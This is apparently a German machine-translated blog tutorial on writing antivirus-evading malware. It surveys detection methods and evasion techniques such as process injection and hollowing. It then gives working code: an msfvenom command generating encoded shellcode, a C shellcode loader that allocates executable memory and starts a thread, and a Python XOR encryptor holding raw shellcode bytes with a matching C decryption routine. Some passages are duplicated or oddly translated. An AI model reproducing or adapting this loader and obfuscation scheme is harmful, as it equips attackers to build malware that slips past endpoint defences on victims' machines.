AV/EDR-Umgehung | Malware-Entwicklung

Feb 18 2023
Hallo, haben Sie schon einmal darüber nachgedacht, wie Hacker Anti-Virus-Lösungen umgehen können? Wir werden gemeinsam Ihre erste grundlegende Malware erstellen, die AV umgehen kann, und einige Grundlagen verstehen. Um unsere Malware zu erstellen, müssen wir einige Grundlagen verstehen wie: 1 – Was sind die Schritte der Malware-Analyse? 2 – Wie erkennt AV oder Antivirus schädliche Programme oder Codes? 3 – Was sind AV-Umgehungstechniken (On-Desk – In-Memory)? Schreiben Sie unsere Malware in „C“ – praktische Zeit. Was sind die Schritte zur Malware-Analyse? 1 – Statische Analyse → Im Grunde genommen ist es ohne jegliche Komplexität der Schritt, bei dem wir mit der Analyse der Malware oder des Programms beginnen, ohne es zu öffnen. Wir suchen im statischen Analyseschritt nach vielen Dingen in Malware, wie (PE-Header, Strings, Dateiinformationen).

Hallo, haben Sie schon einmal darüber nachgedacht, wie Hacker Anti-Virus-Lösungen umgehen können? Wir werden gemeinsam Ihre erste grundlegende Malware erstellen, die AV umgehen kann, und einige Grundlagen verstehen.

Um unsere Malware zu erstellen, müssen wir einige Grundlagen verstehen wie:

1 – Was sind die Schritte der Malware-Analyse?
2 – Wie erkennt AV oder Antivirus schädliche Programme oder Codes? 3 –
Was sind AV-Umgehungstechniken (On-Desk – In-Memory)?

Was sind die Schritte zur Malware-Analyse?

1 – Statische Analyse → Im Grunde genommen ist es ohne jegliche Komplexität der Schritt, bei dem wir mit der Analyse der Malware oder des Programms beginnen, ohne es zu öffnen. Wir suchen im statischen Analyseschritt nach vielen Dingen in Malware, wie (PE-Header, Strings, Dateiinformationen).

2 – Dynamische Analyse → Jetzt können wir sagen, dass es sich um den Prozess handelt, bei dem wir die Malware analysieren, nachdem wir sie ausgeführt haben. Wir suchen nach vielen Dingen wie „Systemänderungen“ und „Überwachen des Verhaltens“, um zu sehen, was die Malware tut.

In diesem Bild ist eine einfache dynamische Analyse zu sehen, die den Netzwerkverkehr analysiert.

Hinweis: Es folgen 4 Schritte (Statische Analyse – Dynamische Analyse – Erweiterte statische Analyse – Erweiterte dynamische Analyse). Sie können jedoch suchen :)

Jetzt werden wir darüber sprechen, wie AV Malware erkennt.

Anti-Virus Erkennt Malware in drei Hauptschritten:

1 – Signaturbasierte Erkennung → Bei dieser Technik werden Dateien und Netzwerkverkehr mit einer Datenbank bekannter Malware-Signaturen verglichen. Wenn eine Übereinstimmung gefunden wird, wird die Datei oder der Datenverkehr als potenziell bösartig gekennzeichnet.

In diesem Bild sehen Sie einige Verhexungen. Wenn der AV beispielsweise einen Teil dieser Verhexungen vergleicht, weiß er, ob es sich um bösartige Verhexungen handelt …

2 – Heuristische Erkennung → Bei dieser Technik werden maschinelles Lernen und künstliche Intelligenz eingesetzt, um das Verhalten von Dateien und Netzwerkverkehr zu analysieren. Wenn eine Datei oder ein Datenverkehr verdächtiges Verhalten zeigt, kann sie als potenziell bösartig gekennzeichnet werden. Man kann auch sagen, dass diese Technik das Lesen der Codeanweisungen ist.

3 – Verhaltensbasierte Erkennung → Bei dieser Technik wird das Verhalten von Dateien und Netzwerkverkehr im Laufe der Zeit analysiert, um Muster bösartiger Aktivitäten zu identifizieren. Wenn eine Datei oder ein Datenverkehr ein Verhalten zeigt, das erheblich von dem erwarteten abweicht, kann sie als potenziell bösartig gekennzeichnet werden.

In diesem Bild überwachen wir die Aufgaben. Wenn der AV das Gefühl hat, dass viele Aufgaben offen oder potenziell bösartig sind, wird er durch „Verhaltensbasierte Erkennung“ erkannt.

AV-Umgehungstechniken:

Wir haben zwei Hauptthemen (auf dem Schreibtisch – im Gedächtnis), wie zum Beispiel:

(1) Am Schreibtisch:

  • Packer → Das Packen von Malware ist wie das Komprimieren der Datei, um neue Anweisungen und Dateigrößen zu enthalten, die der „signaturbasierten Erkennung“ entgehen.
  • Verschleierer → Es verschleiert beispielsweise die auf der schwarzen Liste stehenden Funktionen (VirtualAlloc – VirtualProtect und mehr…), die der „heuristischen Erkennung“ entgehen, dass ihre Anweisungen nicht gut von AV Solution gelesen werden können
  • Protectors → Da sie den Reverse-Engineering-Prozess der Malware komplex machen, handelt es sich bei The Protectors um eine normale App, die nicht für die Verwendung in Evasion entwickelt wurde, aber nützlich ist

Remote Process Memory Injection: Wir injizieren unseren Prozess oder unsere Nutzlast in einen normalen Prozess. Um diese Technik nutzen zu können, benötigen wir einige APIs wie:

Reflektierende DLL-Injektion: Injektionstechnik, die es ermöglicht, eine DLL in den Speicher eines Prozesses zu laden, ohne die Standard-Windows-APIs zum Laden von DLLs aufzurufen. Dies kann in Situationen nützlich sein, in denen die herkömmlichen Methoden der DLL-Injektion aufgrund von Einschränkungen oder Sicherheitsmaßnahmen nicht möglich sind. Die reflektierende DLL-Injektion verwendet eine Technik, die als manuelle Zuordnung bekannt ist. Die Grundidee besteht darin, die DLL im Speicher abzubilden und direkt auszuführen, ohne die Standard-Windows-API-Aufrufe zu verwenden. Dadurch kann die DLL ausgeführt werden, ohne Sicherheitswarnungen auszulösen oder von Antivirensoftware erkannt zu werden.

Process Hollowing: Wir erstellen gefälschte Prozesse, die Platz beanspruchen, dann stoppen wir sie, ändern ihren Inhalt in unsere Nutzlast und setzen den Prozess mit seinen neuen Anweisungen und Inhalten erneut fort

Inline-Hooking: ist eine Technik, bei der der Code eines Prozesses geändert wird, während er im Speicher ausgeführt wird. Dies geschieht durch die Umleitung von Funktionsaufrufen vom Originalcode an eine andere Stelle im Speicher.

Es gibt noch mehr Techniken, aber das sind die berühmten Techniken, die verwendet werden.

Grundlegende Malware schreiben.

Bei jeder Malware steht der Shellcode an erster Stelle. Was ist also der Shellcode? → Es sind einige Bytes, die die CPU und der RAM verstehen können. Der Shellcode enthält einen Prozess, den Sie möchten, und um ihn zu generieren, können Sie Ihr Terminal öffnen und Folgendes eingeben:

msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -i 10 -f c

Wie fügt man es also in unseren C-Code ein? Am einfachsten können Sie es in eine Variable wie diese einfügen:

unsigned char shellcode[] = {"Put here your shellcode"};
unsigned int shellcode_len = sizeof(shellcode); // To get the size of the shellcode

void main() /* The Main Function */

{
        void* exec_mem; // Memory Buffer For Payload/Shellcode 
        HANDLE th; 
        DWORD oldprotect = 0;

        exec_mem = VirtualAlloc(0, shellcode_len , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); /* Allocate a memory buffer for payload */
        RtlMoveMemory(exec_mem, shellcode, shellcode_len); /* Copy/Move payload to buffer or Memory */

        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);

    

}

Es ist nachweisbar, richtig!

Verschleiern und verschlüsseln Sie Malware, damit sie nicht erkannt wird.

Wenn Sie also den Code schreiben, den ich zuvor erwähnt habe, und versuchen, Runit auszuführen, wird Ihnen angezeigt, dass es sich um einen Virus handelt! Was werden wir also tun?

Das erste, was bösartig war, war, dass der Code der „Shellcode“ ist, also müssen wir ihn verschlüsseln und verschleiern, damit er für AV Solutions nicht verständlich ist, also müssen wir ihn verschlüsseln, ABER WIE!?

Lassen Sie uns ein kleines Python-Skript erstellen, das Shellcodes verschlüsselt und die Ausgabe im C-Format erstellt.

# Put your shellcode in data variable.

data = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

key  = 0x50 # Put here your key as byte like for example (0x90 or 0x40 or 0x30) and more...

print('{ ', end='')
for i in data:
    print(hex(i ^ key), end=', ')

print("0x0 };") # Notice that it adds one byte "0x0" to the end.

Jetzt können Sie Ihren Shellcode dahingehend ändern, es wird so aussehen

unsigned char shellcode[] = {0xac, 0xb8, 0xd2, 0x50, 0x50, 0x50, 0x30, 0xd9, 0xb5, 0x61, 0x90, 0x34, 0xdb, 0x0, 0x0 };

Wir müssen also eine Entschlüsselungsfunktion hinzufügen, die so aussieht:

/* The Decryption Function */

void decrypt(char* shell, int nSize)
{
    for (int i = 0; i < nSize; i++)
    {
        shell[i] = shell[i] ^ KEY;
    }

}

#define SIZEOF(x) sizeof(x) - 1
#define KEY 0x50

unsigned char shellcode[] = {0xac, 0xb8, 0xd2, 0x50, 0x50, 0x50, 0x30, 0xd9, 0xb5, 0x61, 0x90, 0x34, 0xdb, 0x0, 0x0 };
unsigned int shellcode_len = SIZEOF(shellcode);

decrypt(shellcode, shellcode_len);

1 – VirtualAlloc
2 – CreateThread
3 – RtlMoveMemory

Diese Funktionen stehen auf der schwarzen Liste des Anti-Virus und wir sollten sie verschleiern! aber wir werden noch viele Dinge hinzufügen.

Fortsetzung folgt später…